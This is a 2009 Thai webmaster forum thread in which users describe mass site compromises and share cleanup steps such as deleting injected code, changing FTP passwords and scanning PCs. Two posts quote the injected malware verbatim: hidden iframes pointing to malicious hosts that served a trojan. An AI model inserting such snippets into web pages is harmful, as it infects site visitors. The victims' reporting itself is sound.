|
หัวข้อ: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: namasjung ที่ 16 เมษายน 2009, 23:37:32 Folder ไหนมี index.xxx หรือ default.xxx มันจะยัด โคดอันใดอันนึงต่อไปนี้ครับ
โค๊ด: <iframe src="http://91.212.41.241/in.php" width=1 height=1 style="visibility:hidden"></iframe> พอใครเปิดเว็บ มันก็จะ redirect ไปหน้าอื่น หรือบางเว็บมันก็เล่นเอา ล่มเลย :'( ใครเจอแบบนี้บ้างมั้ยครับ แก้ไงดี ฮือๆ >:( >:( >:( หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: Giftrin ที่ 16 เมษายน 2009, 23:41:38 โฮ เเก้ไงเนี่ย ถ้าผมโดน จะสังเกตยังไงคับ
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: pa_koh ที่ 16 เมษายน 2009, 23:56:29 ตอนนี้โดนหนักครับ.
เวป ผมโดนทั้ง Host. เป็น Script แนวเดียวกันครับ. พอมันเริ่มทำงาน - ไม่นาน ผลที่ Google index ท่าน ก็จะ Show ว่า เวปท่านเป็นอันตราย ห้ามเข้า. Traffic ท่านจะเป็น 0 ในบัดดล. เวปท่านจะเปิดช้าขึ้นเรื่อยๆ หนะกเข้าคือ ค้างเลย. เท่าที่รู้มาตอนนี้ และเดี๋ยวนี้ 23.50 น กำลังไล่ลบ Script นี้อยู่ครับ . มันฝังไปทุกจุด/ทุกหน้าใน web ท่านที่เป็น Index.php ผมยังไม่รู้จะแก้แบบ Mass ทำไง.. ท่านไดรู้ วิธี ช่วยด้วยนะครับ. / แก้มาตั้งแต่ช่วงเย็นแล้วครับ.. / แต่ก็ยังไม่แน่ใจว่า ลบ แล้วมันจะมาอีกหรือเปล่า เพราะว่า ไม่รู้มันมาได้ยังไง. หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: BosnoS ที่ 17 เมษายน 2009, 00:10:09 เคยโดนแนวๆ นี้ครับ
ไล่ลบ ไป 1 รอบ มันก็โผล่มาอีก ไล่ลบไป 3 รอบ มั่ง ก่อนที่มันจะหายไป หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: namasjung ที่ 17 เมษายน 2009, 00:10:58 host ที่เว็บผมโดนตอนนี้ คือ hostgator กับ cirtex ครับ
ใครใช้ 2 ตัวนี้อยู่รีบตรวจสอบเว็บของตัวเองนะครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: movemore ที่ 17 เมษายน 2009, 00:14:15 ไวรัสตัวนี้มันเจาะเข้าระบบโฮสเลยครับ
ใครใช้ process ตัวเดียวกับที่ใช้งานคือซวยจริงๆ (หมายถึง name server ตัวเดียวกันประมาณนั้นแหละ) ทีแรกกะว่าจะอัดลูกค้าหลายๆคนเข้าเครื่องเดียวกัน แต่พอเจอเทคโนโลยี private suite ของ DreamHost เลยกำลังปรับมาใช้กับลูกค้าทั่วไปครับ จะกลายเป็นว่าลูกค้า 1user = 1vps ไปเลย หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: yokey. ที่ 17 เมษายน 2009, 00:15:01 DNS อะไรครับของ Gator
เสียววูบๆ :P ไม่อยากเจอเลย หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: technomatch ที่ 17 เมษายน 2009, 00:18:07 เคยโดนครับ...มันจะไปแก้ ไฟล์ที่มีชื่อ main และ index ดูวันเวลาดีๆนะครับ...ไฟล์ไหนมีการเปลี่ยนแปลงก็เข้าไปแก้กลับ... :P
โดนกันบ่อยจัง...ผมเข้าไปแบคอัพไว้มั่งดีก่า. หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: movemore ที่ 17 เมษายน 2009, 00:20:53 DNS อะไรครับของ Gator ผมเจอของ Hostmonster อ่ะเสียววูบๆ :P ไม่อยากเจอเลย เกือบอ้วกก เหมือนกัน แต่หนักสุดก็เจอลูกค้าผมนี่แหละ เครื่องไม่ได้ลง anti virus ไว้ service proftpd โดนเล่นงาน แบบนี้ งานเข้าเลย !! หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: namasjung ที่ 17 เมษายน 2009, 00:41:46 ตอนนี้ 00.40 ที่ผมกำลังทำอยู่คือ load web ลงมาทั้งยวงครับ แล้วกะจะ replace ไอ้ code นี้ ทั้ง folder ทิ้ง
ตอนนี้ที่นึกวิธีออกก็มีเท่านี้ ยังโหลดลงมาไม่หมดเรย :'( ใครมีวิธีที่ดีกว่านี้ช่วยแชร์กันด้วยนะครับ ขอบคุณครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: movemore ที่ 17 เมษายน 2009, 00:44:58 ตอนนี้ 00.40 ที่ผมกำลังทำอยู่คือ load web ลงมาทั้งยวงครับ แล้วกะจะ replace ไอ้ code นี้ ทั้ง folder ทิ้ง เปลี่ยนโฮสครับ :)ตอนนี้ที่นึกวิธีออกก็มีเท่านี้ ยังโหลดลงมาไม่หมดเรย :'( ใครมีวิธีที่ดีกว่านี้ช่วยแชร์กันด้วยนะครับ ขอบคุณครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: mr.khao ที่ 17 เมษายน 2009, 01:08:10 ผมก็เคยเป็นครับ โดนมาฝั่งสคริปเหมือนกัน
นั่งลบโค๊ด iframe ที่มันฝั่งไว้ออกให้หมด ดูวันที่ที่มันเข้ามาเปลี่ยนนะครับ พอเปลี่ยนเสร็จ ก็เปลี่ยนพาส FTP ทั้งหมดเลย ก็หายครับ แต่ผมใช้โฮสไทยอ่าครับ เลยไม่รู้แต่ละโฮสจะเหมือนกันหรือไม่ แต่ส่วนใหญ่หลุดมาจากพวกโปรแกรม FTP ทั้งหลายนะครับ ลองดูครับ ;) หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: pa_koh ที่ 17 เมษายน 2009, 06:12:12 ถ้าผม เอาลงมาหมด และเอา script นี้ออก up ขึ้นไปทับ ทั้งยวง SMF(Web คือ SMF) จะมีปัญหาไหมครับ
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: khun9.com ที่ 17 เมษายน 2009, 06:33:26 ถ้าผม เอาลงมาหมด และเอา script นี้ออก up ขึ้นไปทับ ทั้งยวง SMF(Web คือ SMF) จะมีปัญหาไหมครับ เดานะคะ ว่าไม่มีปัญหา เราเคยลบไฟล์ smf โดยไม่ได้ตั้งใจ ข้อมูลไม่หายค่ะ copy smf ไปทับ แต่ไม่ได้ install ใหม่นะคะ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: iCafe ที่ 17 เมษายน 2009, 07:01:11 ตอนนี้ 00.40 ที่ผมกำลังทำอยู่คือ load web ลงมาทั้งยวงครับ แล้วกะจะ replace ไอ้ code นี้ ทั้ง folder ทิ้ง เปลี่ยนโฮสครับ :)ตอนนี้ที่นึกวิธีออกก็มีเท่านี้ ยังโหลดลงมาไม่หมดเรย :'( ใครมีวิธีที่ดีกว่านี้ช่วยแชร์กันด้วยนะครับ ขอบคุณครับ ไม่ใช่ทางออกที่ดีครับ ต้องตรวจเชคเครื่องเราอันดับแรกครับว่ามี ไวรัส/สปายแวร์ หรือไม่ ตัว ftp client :P หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: izumi123 ที่ 17 เมษายน 2009, 07:49:40 เคยโดนเหมือนกันครับ ต้องคอยมานั่งลบอย่างเซ็ง :(
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: stahcus ที่ 17 เมษายน 2009, 08:33:09 โห..เจออย่างนี้อย่างเซ็งเลยนะ :-X
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: smith ที่ 17 เมษายน 2009, 08:52:55 เจอเหมือนกันเลย ที่ cirtexhosting
โดนไปเว็บหนึ่ง :'( หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: movemore ที่ 17 เมษายน 2009, 08:58:36 ตอนนี้ 00.40 ที่ผมกำลังทำอยู่คือ load web ลงมาทั้งยวงครับ แล้วกะจะ replace ไอ้ code นี้ ทั้ง folder ทิ้ง เปลี่ยนโฮสครับ :)ตอนนี้ที่นึกวิธีออกก็มีเท่านี้ ยังโหลดลงมาไม่หมดเรย :'( ใครมีวิธีที่ดีกว่านี้ช่วยแชร์กันด้วยนะครับ ขอบคุณครับ ไม่ใช่ทางออกที่ดีครับ ต้องตรวจเชคเครื่องเราอันดับแรกครับว่ามี ไวรัส/สปายแวร์ หรือไม่ ตัว ftp client :P ติดครั้งเดียวมันติดทั้งเครื่องเลย เอ้กกก หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: ball6847 ที่ 17 เมษายน 2009, 09:15:01 เพื่อนผมเคยเจอ มันติดที่ server ลบให้ตาย ถ้าไวรัสยังอยู่มันก็กลับมาใหม่ได้ตลอด ทางที่ดีผมว่าติดต่อโฮสท์แล้วบอกว่าเป็นงี้เป็นงี้ ตรวจสอบที
เพราะถ้าเกิดติดที่ server จิงๆ ถึงโหลดมา replace ทั้งยวง มันก็กลับมาติดใหม่ ถ้าเค้าไม่ดำเนินการอะไรให้เราก็ย้ายโฮสท์ซะคับ ถ้าเป็นอาการนี้น่าจะโดนหลายเว้บใครเครื่องนั้น :P ถ้ามีเว็บที่ user สามารถอับโหลดอะไรขึ้นไปได้ (ไฟล์อะไรก็ตามที่มาจาก user นี่อันตรายทั้งนั้น) ก็ลองเช็คไฟล์ทุกไฟล์ดูคับ (เช็ค mimetype นะคับ อย่าเช็คแค่นามสกุล) ถ้าไม่เจอก็อาจมาจาก account คนอื่น หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: 004275 ที่ 17 เมษายน 2009, 10:04:06 ลบสคริปต์ที่ฝังออกให้หมด แล้วเปลี่ยน pass ใหม่คับ
ลองดู ผมทำแลล้วหายอะคับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: irecog ที่ 17 เมษายน 2009, 10:21:45 มาเป็นกำลังใจครับ...อย่ายอมแพ้มันครับ...เพราะเอาเว็บเราเป็นเดิมพัน
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: smith ที่ 17 เมษายน 2009, 10:26:32 เป็นที่ ฝั่ง server นะผมว่า เมื่อกี้ลองเช็คๆดู
ขนาดสคิปส์ที่ผมเขียนเอง ไว้ใช้คนเดียว ยังโดนเลย ไฟล์ที่ขึ้นต้นด้วย home index default main โดนทุกไฟล์เลย หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: manchy ที่ 17 เมษายน 2009, 12:40:43 ผมก็เพิ่งโดนสดๆเลยครับเว็ปในเครือโดนหมดเลยเซ็งๆๆ
งานเข้าๆๆ :P หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: prempcc ที่ 17 เมษายน 2009, 12:46:15 มาเป็นกำลังใจให้หาทางออกได้
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: arabanaki ที่ 17 เมษายน 2009, 12:51:49 ผมก็โดนครับ รวดเดียวยี่สิบเว็บเลย โทรไปหา hosting เขาบอกให้ลบบรรทัดนั้นออก แล้วสร้างหน้า index.html ใส่ javascript ให้ redirect เข้าไปที่หน้า index.php แต่ว่าเราต้องย้ายเข้าไปให้ลึกกว่าชั้น root นะครับ เลยรอดตัวมาได้จนถึงทุกวันนี้ :P แต่ไม่รู้ว่าจะโดนอีกเมื่อไหร่ :'(
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: ผีหัวโล้นผมยาว ที่ 17 เมษายน 2009, 15:22:47 มันเกี่ยวกับ โปรแกรม FTP หรือเปล่าครับ :P
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: Robin ที่ 17 เมษายน 2009, 15:25:59 เกือบทุกที่
แสดงว่า หลายHost ผมว่าปัญหานี้น่าจะอยู่เจ้าตัวมากกว่า ไม่ได้อยู่ที่ host ไม่งั้น Hosting เจ๊งกะบ๋ง ไปแล้ว คิดดู หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: Kobsoft ที่ 17 เมษายน 2009, 15:44:01 ตอนนี้ 00.40 ที่ผมกำลังทำอยู่คือ load web ลงมาทั้งยวงครับ แล้วกะจะ replace ไอ้ code นี้ ทั้ง folder ทิ้ง ตอนนี้ที่นึกวิธีออกก็มีเท่านี้ ยังโหลดลงมาไม่หมดเรย :'( ใครมีวิธีที่ดีกว่านี้ช่วยแชร์กันด้วยนะครับ ขอบคุณครับ :-[ ถ้าโดนใส่ iframe เป็น ip หรือ url ชุดเดิม หรือชุดใหม่เป็นผมปกติถ้าในเว็บผมไม่ได้ใช้ iframe ผมจะเขียนฟังก์ชั่นยกเิลิกคำสั่งแท็กของ iframe ให้ไม่มีค่าในการรันคับ เพราะนิสัยไอพวกนี้ ถ้าเราไปลบ หรืออัพไฟล์ใหม่ลงไป ยังไงมันก็เล่นเราอีก มันอยากยิงโค้ดมาก็ให้มันยิงมา แต่เขียนคำสั่งให้โค้ดมันรันไม่ได้ น่าจะเป็นทางเลือกอีกทางคับ ลองๆ ดู หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: oosora ที่ 17 เมษายน 2009, 15:53:01 ขอแสดงความเสียใจอย่างสุดซึ้ง
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: PrinzA ที่ 17 เมษายน 2009, 16:22:52 แก้ permission เป็น 666 ครับ สำหรับ host window ถ้าเป็น host linux ไม่ค่อยมีปัญหาครับ สคริปตัวนี้จะโจมตีเฉพาะ ไฟล์สำคัญๆของเว็ปครับ
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: smith ที่ 18 เมษายน 2009, 13:50:22 โค๊ด: <iframe src="http://betbigwager.cn/in.cgi?income61" width=1 height=1 style="visibility: hidden"></iframe> อันตรายนะครับ รู้สึกมันจะไปเรียก trojan ที่ฝังอยู่ในเครื่องของเรา อีกที เครืองผมใช้ antivir มันฟ้องมาทุกครั้งที่เข้าเว็บผม แล้วเครื่องก็จะอึดๆไปสักพัก antivir ก็จะฟ้อง trojan ขึ้นมาชื่อ load.exe หรืออะไรประมาณนี้ พึ่งเอะใจ ว่าทำไมเข้าเว็บเราแล้วมันเจอ trojan ใครมีตัว remove โทรจัน รบกวนแนะนำหน่อยครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: Shuriken ที่ 22 เมษายน 2009, 10:38:04 เจอปัญหาคล้ายๆผมเลยครับ แต่ของผมเป็น Hostmoster ทุก php ไฟล์ โดนฝังสคริป eval(decode asdfaczxgasgb มีผลไปถึงผลเสริชกูเกิ้ลนะครับสแปมคีเวิร์ดเต็มไปหมด ผมเดาสาเหตุนะครับว่า มาจากการที่เราใช้ ftp browser ครับ มันแฮกแิอคเค้าเราได้ แล้วส่งโทรจันเข้ามา ตอนนี้ต้องมานั่งลบทุกไฟล์เลยครับ อยากฝากถึงคนที่ทำนะครับ ว่าทำอย่างนี้ไม่เจริญหรอกครับ เอาความสามารถไปสร้างสรรดีกว่าครับ คุณทำแบบนี้ก็เหมือน ขโมยเค้ากินหลอกเค้ากินแหละครับ ผมเห็น บางเว็บ ที่เป็นพวก hacker คุยกันสนุกสนานเลยน ลองสคริปโน้นสริปนี้แฮกโน่นแฮกนี่ ลองวิชาไปเรื่อยไม่เจริญครับทำให้คนเค้าสาปแช่งกัน เลิกซะนะครับ ซื่อกินไม่หมดคดกินไม่นานครับ
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: aussavin ที่ 23 เมษายน 2009, 10:52:56 โดนเหมือนกันครับ เสียดายมาก เว็บลูกข่ายทั้งหลาย
ตอนนี้ต้องทน กัดฟันทำใจ ให้เหลือแค่ 2 เว็บจะได้ดูแลทั่วถึง 8) หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: CommonSun ที่ 23 เมษายน 2009, 11:04:05 วิธีแก้ไขเบื้องต้นนะครับ
1. ลบ code ที่ไวรัสนำมาฝังไว้ออกให้หมด ส่วนมากจะเป็นไฟล์หลัก เช่น index, home, default เป็นต้น 2. ทำการเปลี่ยนรหัสผ่าน ftp ทันที 3. หลีกเลี่ยงการ ftp ผ่าน browser โดยเฉพาะ internet explorer แนะนำให้ใช้ FileZilla ครับ อย่าลืมหมั่น update และ scan virus ในเครื่องด้วยนะครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: senseword ที่ 23 เมษายน 2009, 11:15:58 ผมก็โดนเหมือนกันตอนนี้เวปผมเข้าไม่ได้แล้วตอนนั้น hippoba ก็โดนโดยใช้ iframe ได้ท่านคุณพ่อน้องนะโมช่วยตอนนี้ก็ย้ายแล้วเหลือบางส่วนในโฮส นึกว่าเป็นแค่เวปเดียวตอนนี้แบบเข้าโฮสไม่ได้เลยครับ แนะนำหน่อยครับ
เวป save24hr.com ผลเป็นดังด้านล่าง โค๊ด: http://server217.webhostingpad.com/suspended.page/ เมล์ไปเขาก็ตอบมา อ้างถึง Hello, Your account was suspended due to "server abuse: session.php". In order to find out more details about the suspension, and to find out what you will need to do in order to the account unsuspended you will need to send an email to our managers, stating your primary domain name and ask what needs to be done in order to get the account unsuspended. managers email: [email protected] Thanks, Eric Schell ยังไงดีครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: ayeweb ที่ 23 เมษายน 2009, 11:22:07 ซวยจริงครับ
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: mekz ที่ 25 เมษายน 2009, 10:34:40 ตามความคิดผม ผมคิดว่าน่าจะมาจากโฮสติ้งที่ให้บริการนั่นแหละ ที่เอาไวรัสมาแถมใส่เว็บเรา (อาจจะด้วยความตั้งใจ หรือ ไม่ตั้งใจก็ตามแต่
(ส่วนใหญ่ติดในไฟล์ index.* ทุกนามสกุลมั้ง) (http://i66.photobucket.com/albums/h248/jittipong/nod32-warning-virus-on-web.png) อาการของ NOD32 ถ้าพบว่าเว็บของเรามีสคริปอันตรายฝังไว้อยู่ (http://i66.photobucket.com/albums/h248/jittipong/virus-on-blog.jpg) หน้าตาของสคริปอันตรายที่ฝังในไฟล์ index.php ของ WP (ได้ภาพมาจาก iChetblog.net (http://www.ichetblog.net/) ขอบคุณมา ณ ที่นี้ด้วย) ส่วนถ้าใครเจอปัญหานี้ก็ แนะนำให้ลบสคริปอันตรายออกให้หมดเสียก่อน จากนั้นตั้ง Permissions (CHMOD) ของไฟล์เป็น 664 เป็นการชั่วคราวไปก่อน หากต้องการแก้ก็ down ไฟล์ลงมาในเครื่องเพื่อแก้ไขไฟล์ น่าจะเป็นการดีกว่า :P ปล. ส่วน Wordpress จะติดเฉพาะไฟล์ index.php สองที่ คือ ที่ dir หลัก และ ที่เก็บไฟล์ธีมของเรา ปล2. ส่วนตัวยังไม่ได้เจอ (เพราะใช้ Host Linux ละมั้ง) เห็นคนอื่นเขาเจอ เลยเอามาเล่าสู่กันฟังครับ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: w_nittaya ที่ 25 เมษายน 2009, 10:51:36 :'(คิดว่าน่าจะเจอเหมือนกัน ตอนแรกเปิดเว็ปตัวเองมา ตกใจมาก ใช้ netfirms อยุ่ เป็นทุกเว็ปเลยมีหน้าเว็ปใหม่เข้ามาแทรก บางเว็ปเปิดไม่ได้เลย ต้องทำไงดีเนี่ย :'( :'( :'(
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: mr.sit ที่ 06 พฤษภาคม 2009, 23:14:38 ใช้ filezilla บน linux มีสิทธิ์ติดด้วยมั้ยครับ? เพราะเมื่อครู่เข้าเว็บแล้วเจอแดงเถือกเลย เผลอ ftp เข้าไปแล้วด้วย ยังดีที่ยังไม่ได้เรียกดูเว็บเพราะ Firefox เตือนก่อน
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: tinnoi ที่ 07 พฤษภาคม 2009, 01:25:47 น่ากลัวสุด ๆ เลย ผมคงต้องรีบตรวจสอบแล้ว
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: Hikki ที่ 07 พฤษภาคม 2009, 01:30:16 กระแสโดนแฮคช่วงนี้มาแรงจิงๆ :P
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: TAXZe ที่ 07 พฤษภาคม 2009, 02:02:08 เปลี่ยนพาส+อัพเดท+อัพเกรด ก่อนเลย
:-[ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: kobkung ที่ 07 พฤษภาคม 2009, 08:40:51 อันนี้ยังโดนเหมาๆ ผมเคยโดนแบบเว็บเดียว มันมาเฉพาะกิจ :o
จงใจมาเล่นเรา เปลี่ยน index.php ไปเป็นเพลงชาติมันเลย เปิดไฟล์ index โค้ดยังเป็นของเราด้วยนะ เหลือกินจริงๆ แก้ตั้ง 3 วันกว่าจะเจอ แรงมากๆ แถมไวรัสไว้เพียบ หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: limingxin ที่ 07 พฤษภาคม 2009, 10:56:16 ตอนนี้เว็บผมก็โดนอยู่ครับไม่ไหวที่จะเคลียร์ลบไม่หวาดไม่ไหวครับ
หัวข้อ: Re: web โดนแฮก เกือบทุกเว็บที่ ทำอยู่เลยครับ T T เริ่มหัวข้อโดย: Bourne ที่ 07 พฤษภาคม 2009, 11:20:55 เว็ปผมก็เคยโดนครับ ตอนนี้แก้หายแล้ว หลังจากโดนมาเป็นเดือนๆ :P
ทำตาม step นี้เลยนะครับ 1. ลบ FTP Program ที่เราใช้ในเครื่องออกทุกตัว (ยกเว้นกรณีใช้ FireFTP ที่เป็น Add on ของ Firefox) 2. Login เข้าhostไปลบหรือแก้ FTP password เดิมที่เราใช้อยู่เป็นตัวใหม่ 3. ลง FireFTP หรือตัว FTP ตัวอื่นที่เป็นตัวฟรี (ที่ไม่ต้อง Crack) 4. โหลดไฟล์ทั้งหมดมาที่เครื่องเราแล้ว scan ด้วย Avast (free edition) ที่แนะนำตัวนี้เพราะเว็ปผมมีตัวนี้ตัวเดียวที่เจอ NOD32, Kaspersky ก็ scan ไม่เจอครับ. 5. พอเจอไฟล์ปัญหาเราก็ replace code พอเสร็จเรียบร้อยก็ up load กลับเข้า host. เรียบร้อย แค่นี้ก็ไม่น่าจะโดนได้อีกแล้วครับ. |